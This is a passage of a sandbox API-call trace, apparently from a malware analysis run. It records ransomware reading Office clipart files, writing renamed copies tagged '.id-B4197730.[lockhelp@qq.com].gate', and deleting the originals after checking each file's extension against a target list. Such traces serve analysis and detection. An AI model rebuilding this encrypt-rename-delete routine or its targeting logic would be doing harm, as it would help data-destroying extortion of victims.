office\\root\\clipart\\pub60cor\\bl00105_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0285.354] GetLastError () returned 0x0 [0285.354] ReadFile (in: hFile=0x4b0, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x370, lpOverlapped=0x0) returned 1 [0285.799] WriteFile (in: hFile=0x414, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x380, lpOverlapped=0x0) returned 1 [0285.800] ReadFile (in: hFile=0x4b0, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0285.800] WriteFile (in: hFile=0x414, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0285.800] SetEndOfFile (hFile=0x414) returned 1 [0285.801] CloseHandle (hObject=0x414) returned 1 [0285.801] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.801] SetEndOfFile (hFile=0x4b0) returned 1 [0285.809] CloseHandle (hObject=0x4b0) returned 1 [0285.809] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0285.810] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00105_.wmf")) returned 1 [0285.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0285.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0285.810] lstrlenW (lpString=".doc") returned 4 [0285.810] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0285.810] lstrlenW (lpString=".docx") returned 5 [0285.810] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0285.810] lstrlenW (lpString=".pdf") returned 4 [0285.811] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0285.811] lstrlenW (lpString=".xls") returned 4 [0285.811] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0285.811] lstrlenW (lpString=".xlsx") returned 5 [0285.811] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0285.811] lstrlenW (lpString=".ppt") returned 4 [0285.811] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0285.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0285.811] lstrlenW (lpString=".zip") returned 4 [0285.811] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0285.811] lstrlenW (lpString=".rar") returned 4 [0285.811] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0285.811] lstrlenW (lpString=".bz2") returned 4 [0285.811] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0285.811] lstrlenW (lpString=".7z") returned 3 [0285.811] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0285.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0285.811] lstrlenW (lpString=".dbf") returned 4 [0285.811] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0285.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0285.811] lstrlenW (lpString=".1cd") returned 4 [0285.811] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0285.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0285.811] lstrlenW (lpString=".jpg") returned 4 [0285.811] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0285.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0285.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0285.811] lstrlenW (lpString=".doc") returned 4 [0285.811] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0285.811] lstrlenW (lpString=".docx") returned 5 [0285.811] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0285.811] lstrlenW (lpString=".pdf") returned 4 [0285.811] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0285.812] lstrlenW (lpString=".xls") returned 4 [0285.812] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0285.812] lstrlenW (lpString=".xlsx") returned 5 [0285.812] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0285.812] lstrlenW (lpString=".ppt") returned 4 [0285.812] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0285.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0285.812] lstrlenW (lpString=".zip") returned 4 [0285.812] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0285.812] lstrlenW (lpString=".rar") returned 4 [0285.812] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0285.812] lstrlenW (lpString=".bz2") returned 4 [0285.812] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0285.812] lstrlenW (lpString=".7z") returned 3 [0285.812] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0285.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0285.812] lstrlenW (lpString=".dbf") returned 4 [0285.812] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0285.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0285.812] lstrlenW (lpString=".1cd") returned 4 [0285.812] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0285.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00105_.WMF") returned 68 [0285.812] lstrlenW (lpString=".jpg") returned 4 [0285.812] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0285.812] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0285.812] lstrlenW (lpString="BL00234_.WMF") returned 12 [0285.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0285.813] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=9304) returned 1 [0285.813] CloseHandle (hObject=0x4b0) returned 1 [0285.813] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf")) returned 0x220 [0285.813] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0285.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0285.813] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.813] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.814] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0285.814] GetLastError () returned 0x0 [0285.814] ReadFile (in: hFile=0x4b0, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x2458, lpOverlapped=0x0) returned 1 [0286.939] WriteFile (in: hFile=0x414, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x2460, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x2460, lpOverlapped=0x0) returned 1 [0286.939] ReadFile (in: hFile=0x4b0, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0286.940] WriteFile (in: hFile=0x414, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0286.940] SetEndOfFile (hFile=0x414) returned 1 [0286.940] CloseHandle (hObject=0x414) returned 1 [0286.940] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0286.940] SetEndOfFile (hFile=0x4b0) returned 1 [0286.943] CloseHandle (hObject=0x4b0) returned 1 [0286.943] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0287.567] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf")) returned 1 [0287.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0287.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0287.568] lstrlenW (lpString=".doc") returned 4 [0287.568] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0287.568] lstrlenW (lpString=".docx") returned 5 [0287.568] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0287.568] lstrlenW (lpString=".pdf") returned 4 [0287.568] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0287.568] lstrlenW (lpString=".xls") returned 4 [0287.568] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0287.568] lstrlenW (lpString=".xlsx") returned 5 [0287.568] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0287.568] lstrlenW (lpString=".ppt") returned 4 [0287.568] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0287.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0287.568] lstrlenW (lpString=".zip") returned 4 [0287.569] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0287.569] lstrlenW (lpString=".rar") returned 4 [0287.569] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0287.569] lstrlenW (lpString=".bz2") returned 4 [0287.569] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0287.569] lstrlenW (lpString=".7z") returned 3 [0287.569] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0287.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0287.569] lstrlenW (lpString=".dbf") returned 4 [0287.588] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0287.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0287.588] lstrlenW (lpString=".1cd") returned 4 [0287.588] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0287.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0287.588] lstrlenW (lpString=".jpg") returned 4 [0287.589] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0287.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0287.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0287.589] lstrlenW (lpString=".doc") returned 4 [0287.589] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0287.589] lstrlenW (lpString=".docx") returned 5 [0287.589] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0287.589] lstrlenW (lpString=".pdf") returned 4 [0287.589] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0287.589] lstrlenW (lpString=".xls") returned 4 [0287.589] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0287.589] lstrlenW (lpString=".xlsx") returned 5 [0287.589] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0287.589] lstrlenW (lpString=".ppt") returned 4 [0287.589] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0287.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0287.589] lstrlenW (lpString=".zip") returned 4 [0287.589] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0287.589] lstrlenW (lpString=".rar") returned 4 [0287.589] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0287.589] lstrlenW (lpString=".bz2") returned 4 [0287.589] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0287.589] lstrlenW (lpString=".7z") returned 3 [0287.589] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0287.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0287.589] lstrlenW (lpString=".dbf") returned 4 [0287.589] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0287.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0287.589] lstrlenW (lpString=".1cd") returned 4 [0287.589] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0287.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0287.589] lstrlenW (lpString=".jpg") returned 4 [0287.589] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0287.590] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0287.590] lstrlenW (lpString="BL00262_.WMF") returned 12 [0287.590] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0287.590] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=2556) returned 1 [0287.590] CloseHandle (hObject=0x4bc) returned 1 [0287.590] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf")) returned 0x220 [0287.590] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0287.591] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0287.591] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.591] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.591] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0287.592] GetLastError () returned 0x0 [0287.592] ReadFile (in: hFile=0x4bc, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x9fc, lpOverlapped=0x0) returned 1 [0288.143] WriteFile (in: hFile=0x4b8, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xa00, lpOverlapped=0x0) returned 1 [0288.144] ReadFile (in: hFile=0x4bc, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0288.144] WriteFile (in: hFile=0x4b8, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0288.144] SetEndOfFile (hFile=0x4b8) returned 1 [0288.151] CloseHandle (hObject=0x4b8) returned 1 [0288.152] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.152] SetEndOfFile (hFile=0x4bc) returned 1 [0288.195] CloseHandle (hObject=0x4bc) returned 1 [0288.195] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0288.196] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf")) returned 1 [0288.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0288.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0288.197] lstrlenW (lpString=".doc") returned 4 [0288.197] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0288.197] lstrlenW (lpString=".docx") returned 5 [0288.197] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0288.197] lstrlenW (lpString=".pdf") returned 4 [0288.197] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0288.197] lstrlenW (lpString=".xls") returned 4 [0288.197] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0288.197] lstrlenW (lpString=".xlsx") returned 5 [0288.197] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0288.197] lstrlenW (lpString=".ppt") returned 4 [0288.197] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0288.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0288.197] lstrlenW (lpString=".zip") returned 4 [0288.197] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0288.197] lstrlenW (lpString=".rar") returned 4 [0288.197] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0288.197] lstrlenW (lpString=".bz2") returned 4 [0288.197] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0288.197] lstrlenW (lpString=".7z") returned 3 [0288.197] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0288.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0288.198] lstrlenW (lpString=".dbf") returned 4 [0288.198] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0288.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0288.198] lstrlenW (lpString=".1cd") returned 4 [0288.198] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0288.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0288.198] lstrlenW (lpString=".jpg") returned 4 [0288.198] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0288.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0288.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0288.198] lstrlenW (lpString=".doc") returned 4 [0288.198] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0288.199] lstrlenW (lpString=".docx") returned 5 [0288.199] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0288.199] lstrlenW (lpString=".pdf") returned 4 [0288.199] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0288.199] lstrlenW (lpString=".xls") returned 4 [0288.199] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0288.199] lstrlenW (lpString=".xlsx") returned 5 [0288.199] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0288.199] lstrlenW (lpString=".ppt") returned 4 [0288.199] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0288.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0288.199] lstrlenW (lpString=".zip") returned 4 [0288.199] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0288.199] lstrlenW (lpString=".rar") returned 4 [0288.199] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0288.199] lstrlenW (lpString=".bz2") returned 4 [0288.199] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0288.199] lstrlenW (lpString=".7z") returned 3 [0288.199] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0288.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0288.199] lstrlenW (lpString=".dbf") returned 4 [0288.199] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0288.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0288.199] lstrlenW (lpString=".1cd") returned 4 [0288.199] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0288.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0288.199] lstrlenW (lpString=".jpg") returned 4 [0288.199] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0288.199] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0288.200] lstrlenW (lpString="BL00273_.WMF") returned 12 [0288.200] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00273_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0288.200] GetFileSizeEx (in: hFile=0x4c8, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=3780) returned 1 [0288.200] CloseHandle (hObject=0x4c8) returned 1 [0288.200] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00273_.wmf")) returned 0x220 [0288.200] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00273_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0288.200] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00273_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c8 [0288.201] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.201] SetFilePointerEx (in: hFile=0x4c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00273_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc [0288.201] GetLastError () returned 0x0 [0288.201] ReadFile (in: hFile=0x4c8, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: 